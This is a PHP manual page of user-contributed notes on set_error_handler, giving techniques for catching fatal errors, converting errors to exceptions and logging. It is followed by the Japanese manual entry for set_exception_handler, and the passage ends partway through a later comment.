If you want to be sure that the native PHP error handler is called without resetting the handler stack (as set_error_handler(null) does), you can simply call set_error_handler with $error_types set to zero. This can be especially use full in conjunction with e.g. error_get_last():

<?php

// var_dump or anything else, as this will never be called because of the 0
set_error_handler('var_dump', 0);
@$undef_var;
restore_error_handler();

// error_get_last() is now in a well known state:
// Undefined variable: undef_var

... // Do something

$e = error_get_last();

...

?>
phil at propcom dot co dot uk 18-Sep-2013 08:38
It is important to note that the registered SPL autoloader will NOT be called if an E_STRICT error triggers the error handler which, in turn, tries to use classes which are not yet loaded.

In this instance, you should manually load classes required by the error handler.
elad dot yosifon at gmail dot com 01-Aug-2013 11:42
<?php
/**
 * throw exceptions based on E_* error types
 */
set_error_handler(function ($err_severity, $err_msg, $err_file, $err_line, array $err_context)
{
    // error was suppressed with the @-operator
    if (0 === error_reporting()) { return false;}
    switch($err_severity)
    {
        case E_ERROR:               throw new ErrorException            ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_WARNING:             throw new WarningException          ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_PARSE:               throw new ParseException            ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_NOTICE:              throw new NoticeException           ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_CORE_ERROR:          throw new CoreErrorException        ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_CORE_WARNING:        throw new CoreWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_COMPILE_ERROR:       throw new CompileErrorException     ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_COMPILE_WARNING:     throw new CoreWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_ERROR:          throw new UserErrorException        ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_WARNING:        throw new UserWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_NOTICE:         throw new UserNoticeException       ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_STRICT:              throw new StrictException           ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_RECOVERABLE_ERROR:   throw new RecoverableErrorException ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_DEPRECATED:          throw new DeprecatedException       ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_DEPRECATED:     throw new UserDeprecatedException   ($err_msg, 0, $err_severity, $err_file, $err_line);
    }
});

class WarningException              extends ErrorException {}
class ParseException                extends ErrorException {}
class NoticeException               extends ErrorException {}
class CoreErrorException            extends ErrorException {}
class CoreWarningException          extends ErrorException {}
class CompileErrorException         extends ErrorException {}
class CompileWarningException       extends ErrorException {}
class UserErrorException            extends ErrorException {}
class UserWarningException          extends ErrorException {}
class UserNoticeException           extends ErrorException {}
class StrictException               extends ErrorException {}
class RecoverableErrorException     extends ErrorException {}
class DeprecatedException           extends ErrorException {}
class UserDeprecatedException       extends ErrorException {}
Jacob Slomp 04-Jun-2013 10:56
This might be handy if you don't want your clients to see the errors, and you do want to be one step ahead of them.

It emails you the errors even if it's a parse error.

set_error_handler() doesn't work for what I wanted.

<?php
ini_set('log_errors',TRUE);
ini_set('error_log','tiny_uploads/errors.txt');

if($_SERVER['REMOTE_ADDR'] != "YOUR IP ADDRESS"){
    ini_set('display_errors',false);
}

function byebye(){

        $dir = dirname(__FILE__);
        if(file_exists($dir."/tiny_uploads/errors.txt")){

            $errors = file_get_contents($dir."/tiny_uploads/errors.txt");

            if(trim($errors)){

                $head = "From: php_errors@".str_replace('www.','',$_SERVER['HTTP_HOST'])."\r\n";

                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nServer Info:\n\n".print_r($_SERVER, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nCOOKIE:\n\n".print_r($_COOKIE, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nPOST:\n\n".print_r($_POST, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nGET:\n\n".print_r($_GET, 1)."\n\n";

                mail("YOUR@EMAIL.COM","PHP Error ".$_SERVER['HTTP_HOST']."", $errors , $head);

                $fp = fopen($dir."/tiny_uploads/errors.txt","w+");
                fputs($fp, "");
                fclose($fp);
            }
        }
}
register_shutdown_function("byebye");
?>
Philip 28-May-2013 07:10
By this function alone you can not catch fatal errors, there is a simple work around. Below is part of my error.php file which handles errors and exceptions in the application. Before someone complains I'll add that I do not care that I am using globals, this file is part of my mini framework and without the 'config' variable the application would crash anyways.

<?php

/**
 * Error handler, passes flow over the exception logger with new ErrorException.
 */
function log_error( $num, $str, $file, $line, $context = null )
{
    log_exception( new ErrorException( $str, 0, $num, $file, $line ) );
}

/**
 * Uncaught exception handler.
 */
function log_exception( Exception $e )
{
    global $config;

    if ( $config["debug"] == true )
    {
        print "<div style='text-align: center;'>";
        print "<h2 style='color: rgb(190, 50, 50);'>Exception Occured:</h2>";
        print "<table style='width: 800px; display: inline-block;'>";
        print "<tr style='background-color:rgb(230,230,230);'><th style='width: 80px;'>Type</th><td>" . get_class( $e ) . "</td></tr>";
        print "<tr style='background-color:rgb(240,240,240);'><th>Message</th><td>{$e->getMessage()}</td></tr>";
        print "<tr style='background-color:rgb(230,230,230);'><th>File</th><td>{$e->getFile()}</td></tr>";
        print "<tr style='background-color:rgb(240,240,240);'><th>Line</th><td>{$e->getLine()}</td></tr>";
        print "</table></div>";
    }
    else
    {
        $message = "Type: " . get_class( $e ) . "; Message: {$e->getMessage()}; File: {$e->getFile()}; Line: {$e->getLine()};";
        file_put_contents( $config["app_dir"] . "/tmp/logs/exceptions.log", $message . PHP_EOL, FILE_APPEND );
        header( "Location: {$config["error_page"]}" );
    }

    exit();
}

/**
 * Checks for a fatal error, work around for set_error_handler not working on fatal errors.
 */
function check_for_fatal()
{
    $error = error_get_last();
    if ( $error["type"] == E_ERROR )
        log_error( $error["type"], $error["message"], $error["file"], $error["line"] );
}

register_shutdown_function( "check_for_fatal" );
set_error_handler( "log_error" );
set_exception_handler( "log_exception" );
ini_set( "display_errors", "off" );
error_reporting( E_ALL );
dorphalsig at NOSPAMgmail dot com 06-Oct-2011 11:25
This actually works to catch Fatal errors...

<?php
function shutdown()
{
    $a=error_get_last();
    if($a==null)
        echo "No errors";
    else
         print_r($a);

}
register_shutdown_function('shutdown');
ini_set('max_execution_time',1 );
sleep(3);
?>

it will output
Array ( [type] => 1 [message] => Maximum execution time of 1 second exceeded [file] => /path/to/file_name.php [line] => 136 )
francois vespa 22-Dec-2010 03:27
This is a note when using php from the terminal (the CLI interface). From the command line, even if you have some kind of error user handler function so STDERR will not display, fatal errors will still cause the PHP interpreter to display error text. There is nothing you can do about that php-wise. If using UNIX/Linux, you can add " 2>/dev/null" at the end of your command to force STDERR not to show
periklis 02-Aug-2010 08:09
How to handle fatal errors in php 5.2:

<?php
register_shutdown_function('shutdownFunction');
function shutDownFunction() {
    $error = error_get_last();
    if ($error['type'] == 1) {
        //do your stuff
    }
}
?>
devermin at ti0n dot net 23-May-2010 03:46
At work I have some code with errors that uncatched are the causes of integrity loss (people calling web services with file_get_contents that fails silently and afterwards insert garbage in the database).

here is the solution I found to transform a specific set of errors into exception and afterwards be able to selectively act (with the error code) regarding categories :

<?php
ini_set('error_reporting',E_ALL^E_NOTICE);

## first 10 bits reserved for the initial error number
define('EMASK',(~0)<<10);
define('ECODEMASK',~EMASK);
## categories
define('IOERROR', 1<<10);
define('EMPTYPARMS', 1<<11);
define('FAILURE', 1<<12);
## string error patterns => code

$catch_me=array(
    "/^(file_get_contents)\((.*)\).*failed to open stream: (.*)/ " =>
        array ( 'mesg' => "IO::Failed to open stream with",
                'code' => IOERROR | FAILURE
        ),
    "/^fopen\(.*\): Filename cannot be empty/" =>
        array( 'msg' => "Parameters::empty",
                'code' => EMPTYPARMS
        )
    );
function error_2_exception($errno, $errstr, $errfile, $errline,$context) {
    global $catch_me;
    foreach ($catch_me as $regexp  => $res) {
        if(preg_match($regexp,$errstr,$match)){
            throw new Exception($res['mesg'],$res['code']|( $errno & EMASK ) );
        }
    }
    /* switch back to PHP internal error handler  */
    return false;
}
## => want to catch this one
$f=file_get_contents("mlsdkfm");
## dont want to break existing wrong behaviour yet (so not caught)
$f=file_get_contents('');
## magic
set_error_handler("error_2_exception");
## behaviour remains the same
$f=file_get_contents('');
try {
## web services that dont work now raise an exception \o/
$f=file_get_contents("mlsdkfm");
} catch(Exception $e) {
## and I can group my exception by category
    echo ( $e->getCode() & FAILURE )  ? "\nEPIC FAIL\n" : "\nbegnine";
}

?>
kalle at meizo dot com 18-Dec-2009 06:11
This may be of help to someone, who is/was looking for a way to get a backtrace of fatal errors such as maximum memory allocation issues, which can not be handled with user-defined functions, to pin-point the problem:

On a server hosting many sites that share common PHP includes, I set in one spot:

<?php
@ini_set ("error_log", "/my/path/php.err-" . $_SERVER ["HTTP_HOST"] . "-" . $_SERVER ["REMOTE_ADDR"] . "-" . $_SERVER ["REQUEST_METHOD"] . "-" . str_replace ("/", "|", $_SERVER ["REQUEST_URI"]));
?>

I actually used some additional information too from my software that I omitted, but that way, you'll find errors sorted more neatly in for example:-

/my/path/php.err-website.com-127.0.0.1-GET-path|index.html?xyz

And that at least helped me tremendously to then further pin-point where the problem is, as opposed to before just seeing the out of memory and not knowing which site/page it was on (as the PHP error only contains the very latest PHP code where it ran out of memory, which usually is just a shared included file, not the actual page).
nizamgok at gmail dot com 15-Jun-2009 07:27
I have realized that a few people here mentioned that you cannot capture parse errors (type 4, E_PARSE). This is not true. Here is how I do. I hope this helps someone.

1) Create a "auto_prepend.php" file in the web root and add this:

<?php
register_shutdown_function('error_alert');

function error_alert()
{
        if(is_null($e = error_get_last()) === false)
        {
                mail('your.email@example.com', 'Error from auto_prepend', print_r($e, true));
        }
}
?>

2) Then add this "php_value auto_prepend_file /www/auto_prepend.php" to your .htaccess file in the web root.

* make sure you change the email address and the path to the file.
nsg 13-May-2009 04:58
If using E_USER_ERROR in conjunction with a custom error-handler, we are faced with an annoying choice:

If you choose to die() on such errors, __destruct()ors can still function, but we can't then return false and have the inbuilt handler log the error.

If you return false thus allowing the error to be logged, the script will halt, exit() style, and __destruct()'s won't happen.

It seems the only solutions in such a case is to a) log your own errors, or b) don't use E_USER_ERROR.
Marcelius 22-Jan-2009 05:41
Another way to catch PHP's fatal errors:

<?php
    error_reporting(E_ALL);
    ini_set('display_errors', 0);

    function shutdown(){
        $isError = false;
        if ($error = error_get_last()){
            switch($error['type']){
                case E_ERROR:
                case E_CORE_ERROR:
                case E_COMPILE_ERROR:
                case E_USER_ERROR:
                    $isError = true;
                    break;
            }
        }

        if ($isError){
            echo "Script execution halted ({$error['message']})";
        } else {
            echo "Script completed";
        }
    }

    register_shutdown_function('shutdown');
?>

Note that this will only catch runtime errors. So calling a method in a non existing class, or declaring a function twice does not trigger the shutdown handler.
wfinn at riverbed dot com 09-Jul-2008 06:15
"The following error types cannot be handled with a user defined function: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT raised in the file where set_error_handler() is called."

This is not exactly true.  set_error_handler() can't handle them, but ob_start() can handle at least E_ERROR.

<?php

function error_handler($output)
{
    $error = error_get_last();
    $output = "";
    foreach ($error as $info => $string)
        $output .= "{$info}: {$string}\n";
    return $output;
}

ob_start('error_handler');

will_this_undefined_function_raise_an_error();

?>
webmaster at paramiliar dot com 03-Jan-2008 11:03
We needed to use an error handler to handle SQL errors while passing the query along so the query is also logged and this is what we came up with, its kind of an ugly bridge but it works 100%

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline){
    switch ($errno) {
    case E_USER_ERROR:
        if ($errstr == "(SQL)"){
            // handling an sql error
            echo "<b>SQL Error</b> [$errno] " . SQLMESSAGE . "<br />\n";
            echo "Query : " . SQLQUERY . "<br />\n";
            echo "On line " . SQLERRORLINE . " in file " . SQLERRORFILE . " ";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        } else {
            echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
            echo "  Fatal error on line $errline in file $errfile";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        }
        exit(1);
        break;

    case E_USER_WARNING:
    case E_USER_NOTICE:
    }
    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling

function sqlerrorhandler($ERROR, $QUERY, $PHPFILE, $LINE){
    define("SQLQUERY", $QUERY);
    define("SQLMESSAGE", $ERROR);
    define("SQLERRORLINE", $LINE);
    define("SQLERRORFILE", $PHPFILE);
    trigger_error("(SQL)", E_USER_ERROR);
}

set_error_handler("myErrorHandler");

// trigger an sql error
$query = "SELECT * FROM tbl LIMIT 1";
$sql = @mysql_query($query)
    or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

?>
ash 04-Aug-2007 03:38
error handling function that handles both errors and exceptions; also features a backtrace including possible function arguments.

<?php

$cfg = array();
$cfg['debug'] = 1;
$cfg['adminEmail'] = 'name@domain.tld';

function errorHandler($errno, $errstr='', $errfile='', $errline='')
{
    // if error has been supressed with an @
    if (error_reporting() == 0) {
        return;
    }

    global $cfg;

    // check if function has been called by an exception
    if(func_num_args() == 5) {
        // called by trigger_error()
        $exception = null;
        list($errno, $errstr, $errfile, $errline) = func_get_args();

        $backtrace = array_reverse(debug_backtrace());

    }else {
        // caught exception
        $exc = func_get_arg(0);
        $errno = $exc->getCode();
        $errstr = $exc->getMessage();
        $errfile = $exc->getFile();
        $errline = $exc->getLine();

        $backtrace = $exc->getTrace();
    }

    $errorType = array (
               E_ERROR            => 'ERROR',
               E_WARNING        => 'WARNING',
               E_PARSE          => 'PARSING ERROR',
               E_NOTICE         => 'NOTICE',
               E_CORE_ERROR     => 'CORE ERROR',
               E_CORE_WARNING   => 'CORE WARNING',
               E_COMPILE_ERROR  => 'COMPILE ERROR',
               E_COMPILE_WARNING => 'COMPILE WARNING',
               E_USER_ERROR     => 'USER ERROR',
               E_USER_WARNING   => 'USER WARNING',
               E_USER_NOTICE    => 'USER NOTICE',
               E_STRICT         => 'STRICT NOTICE',
               E_RECOVERABLE_ERROR  => 'RECOVERABLE ERROR'
               );

    // create error message
    if (array_key_exists($errno, $errorType)) {
        $err = $errorType[$errno];
    } else {
        $err = 'CAUGHT EXCEPTION';
    }

    $errMsg = "$err: $errstr in $errfile on line $errline";

    // start backtrace
    foreach ($backtrace as $v) {

        if (isset($v['class'])) {

            $trace = 'in class '.$v['class'].'::'.$v['function'].'(';

            if (isset($v['args'])) {
                $separator = '';

                foreach($v['args'] as $arg ) {
                    $trace .= "$separator".getArgument($arg);
                    $separator = ', ';
                }
            }
            $trace .= ')';
        }

        elseif (isset($v['function']) && empty($trace)) {
            $trace = 'in function '.$v['function'].'(';
            if (!empty($v['args'])) {

                $separator = '';

                foreach($v['args'] as $arg ) {
                    $trace .= "$separator".getArgument($arg);
                    $separator = ', ';
                }
            }
            $trace .= ')';
        }
    }

    // display error msg, if debug is enabled
    if($cfg['debug'] == 1) {
        echo '<h2>Debug Msg</h2>'.nl2br($errMsg).'<br />
            Trace: '.nl2br($trace).'<br />';
    }

    // what to do
    switch ($errno) {
        case E_NOTICE:
        case E_USER_NOTICE:
            return;
            break;

        default:
            if($cfg['debug'] == 0){
                // send email to admin
                if(!empty($cfg['adminEmail'])) {
                    @mail($cfg['adminEmail'],'critical error on '.$_SERVER['HTTP_HOST'], $errorText,
                            'From: Error Handler');
                }
                // end and display error msg
                exit(displayClientMessage());
            }
            else
                exit('<p>aborting.</p>');
            break;

    }

} // end of errorHandler()

function displayClientMessage()
{
    echo 'some html page with error message';

}

function getArgument($arg)
{
    switch (strtolower(gettype($arg))) {

        case 'string':
            return( '"'.str_replace( array("\n"), array(''), $arg ).'"' );

        case 'boolean':
            return (bool)$arg;

        case 'object':
            return 'object('.get_class($arg).')';

        case 'array':
            $ret = 'array(';
            $separtor = '';

            foreach ($arg as $k => $v) {
                $ret .= $separtor.getArgument($k).' => '.getArgument($v);
                $separtor = ', ';
            }
            $ret .= ')';

            return $ret;

        case 'resource':
            return 'resource('.get_resource_type($arg).')';

        default:
            return var_export($arg, true);
    }
}

?>
stepheneliotdewey at GmailDotCom 26-Jun-2007 08:48
The manual states:

"errcontext will contain an array of every variable that existed in the scope the error was triggered in. User error handler must not modify error context."

But do you know WHY you must not modify the error context? It appears that errcontext is (in effect if not literally) created by taking $GLOBALS and adding the non-global local variables as additional entries in that array, then passing the whole thing *by reference*.

(You can prove this to be true if you set up a custom error handler and then print_r($errcontext) within it, because $GLOBALS will be printed as a recursive array).

In other words, the language in the manual is misleading, because errcontext is NOT a copy of the variables that existed when the error WAS triggered, but rather is a reference to the *existing LIVE variables* in the calling script.

This includes superglobal variables like $_SERVER, $_POST, $_GET, etc., as well as all user-defined variables in scope.

The significance of that is that if you modify errcontext, you will be modifying those other variables, not just for the life of your error handling function, but for the life of the calling script as well.

That doesn't matter if you plan to halt execution in your error handling function, but it will lead to unexpected behavior if you modify $errcontext and then return to the program's normal flow after handling the error, because the variables will stay modified. For example, if you unset $_SERVER in your custom error handling function, it will remain unset once the function is over and you have returned to the page that generated the error.

This should be made clearer in the manual, starting by marking errhandler with an ampersand (&) for passage by reference in the "Parameters" section above, like so:

handler ( int $errno, string $errstr [, string $errfile [, int $errline [, array &$errcontext]]] )
gotrunko at hotmail dot com 20-Jun-2007 01:26
To ereg error in a text file

<?php
$log_file="log.txt";

set_error_handler(log_handler);

function log_handler ( $errno, $errstr,  $errfile, $errline, $errcontext )
{
    $context = var_export($errcontext, TRUE);
    log_error_ereg("errno:$errno ($errstr) file:$errfile, line:$errline, context:$context\n");
}

function log_error_ereg($mess)
{
    global $log_file;

    $fd = fopen($log_file, 'a');
    if(!$fd)
    {
        echo "<pre>$mess</pre>";
    }
    else
    {
        if(!fwrite($fd, date('Y-m-d H:i:s')." ERR : \n$mess\n\n"))
        {
            echo "<pre>$mess</pre>";
        }
        fclose($fd);
    }
}
?>
silkensedai at online dot fr 02-May-2007 12:37
i made an error handler that print also the backtrace and that can die on some errors. It can be useful if you want to die on every error you find.

<?php

function my_error_handler($errno, $errstr, $errfile, $errline){
    $errno = $errno & error_reporting();
    if($errno == 0) return;
    if(!defined('E_STRICT'))            define('E_STRICT', 2048);
    if(!defined('E_RECOVERABLE_ERROR')) define('E_RECOVERABLE_ERROR', 4096);
    print "<pre>\n<b>";
    switch($errno){
        case E_ERROR:               print "Error";                  break;
        case E_WARNING:             print "Warning";                break;
        case E_PARSE:               print "Parse Error";            break;
        case E_NOTICE:              print "Notice";                 break;
        case E_CORE_ERROR:          print "Core Error";             break;
        case E_CORE_WARNING:        print "Core Warning";           break;
        case E_COMPILE_ERROR:       print "Compile Error";          break;
        case E_COMPILE_WARNING:     print "Compile Warning";        break;
        case E_USER_ERROR:          print "User Error";             break;
        case E_USER_WARNING:        print "User Warning";           break;
        case E_USER_NOTICE:         print "User Notice";            break;
        case E_STRICT:              print "Strict Notice";          break;
        case E_RECOVERABLE_ERROR:   print "Recoverable Error";      break;
        default:                    print "Unknown error ($errno)"; break;
    }
    print ":</b> <i>$errstr</i> in <b>$errfile</b> on line <b>$errline</b>\n";
    if(function_exists('debug_backtrace')){
        //print "backtrace:\n";
        $backtrace = debug_backtrace();
        array_shift($backtrace);
        foreach($backtrace as $i=>$l){
            print "[$i] in function <b>{$l['class']}{$l['type']}{$l['function']}</b>";
            if($l['file']) print " in <b>{$l['file']}</b>";
            if($l['line']) print " on line <b>{$l['line']}</b>";
            print "\n";
        }
    }
    print "\n</pre>";
    if(isset($GLOBALS['error_fatal'])){
        if($GLOBALS['error_fatal'] & $errno) die('fatal');
    }
}

function error_fatal($mask = NULL){
    if(!is_null($mask)){
        $GLOBALS['error_fatal'] = $mask;
    }elseif(!isset($GLOBALS['die_on'])){
        $GLOBALS['error_fatal'] = 0;
    }
    return $GLOBALS['error_fatal'];
}

?>

Usage :

<?php
error_reporting(E_ALL);      // will report all errors
set_error_handler('my_error_handler');
error_fatal(E_ALL^E_NOTICE); // will die on any error except E_NOTICE
?>
alexey.kupershtokh.gmail 02-Oct-2006 12:07
2errd
I've got more convenient and safe error to exception converter:

class CustomException extends Exception {
  public static function errorHandlerCallback($code, $string, $file, $line, $context) {
    $e = new self($string, $code);
    $e->line = $line;
    $e->file = $file;
    throw $e;
  }
}
set_error_handler(array("CustomException", "errorHandlerCallback"), E_ALL);
errd 30-Jan-2006 05:52
In errors to exceptions conversion below I found some incorrect stuff. File and line properties of Exception point to line and file where Exception is thrown, but not where real error is occured.

Impoved errors to exceptions converting:
+ Fixed filename of exception handled
+ Fixed code line of exception handled

<?php

class CustomException extends Exception {
    public function setLine($line) {
        $this->line=$line;
    }

    public function setFile($file) {
        $this->file=$file;
    }
}

function exceptionsHandler($code, $string, $file, $line) {
    $exception=new CustomException($string, $code);
    $exception->setLine($line);
    $exception->setFile($file);
    throw $exception;
}

set_error_handler('exceptionsHandler', E_ALL);

?>
24-Jan-2006 01:19
To honor the value of PHP's error_reporting() function, use:

<?
  if( ($level & error_reporting()) == 0 ) return;
?>
ia [AT] zoznam [DOT] sk 22-Sep-2005 04:33
as reply to dawiddr at gmail dot com:

Be careful with this when using __autoload(). When there is some error during parsing the file included in __autoload() so an exception is thrown, it results in following error:

Fatal error:  Function __autoload(ClassName) threw an exception of type 'Exception' in /network/webroot/dev/test.php on line 121

It is because exceptions can't be thrown in __autoload().
See __autoload() documentation (http://www.php.net/autoload) and bug #31102 (http://bugs.php.net/bug.php?id=31102&edit=3)
dawiddr at gmail dot com 05-Jul-2005 04:01
In PHP5, if you want to have exceptions thrown instead of normal errors - you could use an error handler, which throw exceptions:

<?php

function handler($errno, $errstr, $errfile, $errline)
{
    print "Error handled!\n";
    throw new Exception($errstr, $errno);
}

set_error_handler('handler');

try
{
    print 2 / 0; // simple error - division by zero
    print "This will never be printed";
}
catch (Exception $e)
{
    print "Exception catched:\n";
    print "Code: ".$e->getCode()."\n";
    print "Message: ".$e->getMessage()."\n";
    print "Line: ".$e->getLine();
}

?>

Result:

Error handled!
Exception catched:
Code: 2
Message: Division by zero
Line: 6

As you see, exception is catched like it have been thrown by division by zero - in try/catch clause. But line numer and backtrace shows, that is was thrown by the error handler.
Steffen Staehle 12-Jan-2005 02:29
Two notes on using set_error_handler() on behaviour that I noticed when migrating an application from php 4.2.1 to php 4.3.9 (I do not yet have php 5.0 available, this might not apply there!).

1. setting the system error handler

If you want to set the standard php error handler again, after having set your own error handler, this works in php 4.2.1 by passing in an empty string:

<?php

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // do something useful
      // ...
   }

   $last_handler = set_error_handler("my_handler");

   // after this, $last_handler == ""

   // restore standard error handler

   $last_handler = set_error_handler("");

   // after this, $last_handler == "my_handler"

?>

The very same code now raises an error in php 4.3.9:

   set_error_handler() expects argument 1, '', to be a valid callback

(Since the return value of the first call to set_error_handler() is still the empty string "", I don't see how this can be done any more. I don't really need this, because I use my own handlers as shown below, but it might be good to be aware of this.)

2. setting your own 'second level' handler

If you have set your own error handler, and want to replace it by another one (other than the standard php error handler) while it is being executed, note that the return value of set_error_handler when used INSIDE the error handler is "" instead of the name of the previous handler! This is not too surprising, because during execution of your self defined error handler, php replaces it with the standard php error handler to avoid infinite loops in case of problems inside the handler. This is only interesting if you want nested handlers as I do. Background of my design:

   1st level handler: log into DB
   2nd level handler: log into flat file (if log into DB fails)
   3rd level handler: print to stdout (if log into flat file fails) (this is the sytem handler, finally).

<?php

   function my_fallback_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // do something useful
      // ...

   } // my_fallback_handler

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // but we want to have a fallback handler different
      // to the standard error handler

      $last_handler = set_error_handler("my_fallback_handler");

      // I expected $last_handler == "my_handler"
      // (which it would outside my_handler())
      // but here it is the empty string ""

      // do something useful
      // ...

      // now set the 1st level handler again:
      // (do NOT use $last_handler as argument,
      // because it equals "")

      $last_handler = set_error_handler("my_handler");

   } // my_handler

   $last_handler = set_error_handler("my_handler");

?>
29-Mar-2004 04:13
It seems that when you're letting PHP know that you have a custom  error handler, you're not able to -update/set new- variables inside the class. Example:

<?php
class error {
   var $error;

   function error() {
       $this->setIni();    // this causes PHP to ignore all other changes to the class.
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this will not be saved

trigger_error('text', E_USER_ERROR);
// prints '!!'
?>

How it should be done:
<?php
class error {
   var $error;

   function error() {
         // dont let PHP know of our error handler yet
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this WILL work
$eh->setIni();  // call this method when you're ready with configuring the class. All other methods that will be called will have no effect on the errorHandling by PHP

trigger_error('text', E_USER_ERROR);
// prints 'Error! <br>!!'
?>
phpmanual at NO_SPHAMnetebb dot com 15-Nov-2003 08:19
Given this code:

class CallbackClass {
    function CallbackFunction() {
        // refers to $this
    }

    function StaticFunction() {
        // doesn't refer to $this
    }
}

function NonClassFunction() {
}

there appear to be 3 ways to set a callback function in PHP (using set_error_handler() as an example):

1: set_error_handler('NonClassFunction');

2: set_error_handler(array('CallbackClass', 'StaticFunction'));

3: $o =& new CallbackClass();
   set_error_handler(array($o, 'CallbackFunction'));

The following may also prove useful:

class CallbackClass {
    function CallbackClass() {
        set_error_handler(array(&$this, 'CallbackFunction')); // the & is important
    }

    function CallbackFunction() {
        // refers to $this
    }
}

The documentation is not clear in outlining these three examples.
mmtache at yahoo dot com 09-Feb-2003 01:06
The @ operator sets the error_reporting() value to 0.
This means you can use it with your own Error Handler too. for example:

function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) {
   if (error_reporting())
echo $errmsg;
    }
set_error_handler("userErrorHandler");

function test(){
trigger_error("Error Message", E_USER_WARNING);
}

@test(); // doesn't output anything
roy 12-Jun-2002 04:08
Useful thing to note - if your error handler throws an error in itself, PHP is smart enough to use the deault error handler to handle it. This way, you don't end up in infinite flaming loops of death. This seems to be true, at least, in PHP 4.2.

('Course, there are ways to create your handler to handle even this situation, but it's probably best left this way for general purposes.)


ユーザー定義の例外ハンドラ関数を設定する

  • ≪ set_error_handler
  • trigger_error ≫
  • PHP Manual
  • エラー処理関数
  • ユーザー定義の例外ハンドラ関数を設定する

set_exception_handler

(PHP 5, PHP 7, PHP 8)

set_exception_handler — ユーザー定義の例外ハンドラ関数を設定する

説明

set_exception_handler ( callable $exception_handler ) : callable

例外が try/catch ブロックの中でキャッチされなかった場合の デフォルトの例外ハンドラを設定します。 実行は、exception_handler がコールされた後に 停止します。

パラメータ

exception_handler

キャッチされない例外が発生した際にコールされる関数の名前。 このハンドラ関数は、パラメータをひとつとる必要があります。 このパラメータは、スローされた例外オブジェクトとなります。 PHP 7 より前のバージョンでは、ハンドラのシグネチャは、次のようになります。

handler ( Exception $ex ) : void

PHP 7 からは、大半のエラーが Error 例外として報告されるようになりました。 これらもこのハンドラで扱うことになるでしょう。Error と Exception は、どちらも Throwable インターフェイスを実装しています。 PHP 7 以降のハンドラのシグネチャは、次のようになります。

handler ( Throwable $ex ) : void

null を渡すと、このハンドラをデフォルトの状態に戻せます。

警告

コールバックの ex パラメータにタイプヒントとして Exception を明示すると、 PHP 7 での例外の階層の変更に伴う問題が発生することに注意しましょう。

返り値

前に定義された例外ハンドラの名前、またはエラー発生時に null を返します。 前にハンドラが定義されていない場合にも null が返されます。

変更履歴

バージョン | 説明
7.0.0 | exception_handler に渡すパラメータの型が、 Exception から Throwable に変わりました。
5.5.0 | これより前のバージョンでは、null を渡した場合の返り値が true でした。 PHP 5.5.0 以降は、以前に設定されていたハンドラを返すようになります。

例

例1 set_exception_handler() の例

<?php
function exception_handler($exception) {
  echo "Uncaught exception: " , $exception->getMessage(), "\n";
}

set_exception_handler('exception_handler');

throw new Exception('Uncaught Exception');
echo "Not Executed\n";
?>

参考

  • restore_exception_handler() - 以前の例外ハンドラ関数を回復する
  • restore_error_handler() - 以前のエラーハンドラ関数を回復する
  • error_reporting() - 出力する PHP エラーの種類を設定する
  • PHP 5 例外

User Contributed Notes

ohcc at 163 dot com 09-Jun-2020 04:05
As of PHP 7.4, an exception thrown within the user-defined shutdown function can be caught by the user-defined exception handler.

<?php
    set_error_handler(
        function($level, $error, $file, $line){
            if(0 === error_reporting()){
                return false;
            }
            throw new ErrorException($error, -1, $level, $file, $line);
        },
        E_ALL
    );

    register_shutdown_function(function(){
        $error = error_get_last();
        if($error){
            throw new ErrorException($error['message'], -1, $error['type'], $error['file'], $error['line']);
        }
    });

    set_exception_handler(function($exception){
        // ... more code ...
    });

    require 'NotExists.php';
klaussantana at gmail dot com 12-Sep-2017 03:44
Hi everyone. I don't know if it is an old behavior of previous versions, but currently you can set exception and error handlers as private or protected methos, if, only if, you call `set_exception_handler()` or `set_error_handler()` within a context that can access the method.

Example:
    <?PHP
        $Handler = new class ()
        {
            public function __construct ()
            {
                set_error_handler([$this, 'HandleError');
                set_exception_handler([$this, 'HandleException']);
            }
            protected function HandleError ( $Code, $Message, $File = null, $Line = 0, $Context = [] )
            {
                // Handle error here.
            }
            private function HandleException ( $Exception )
            {
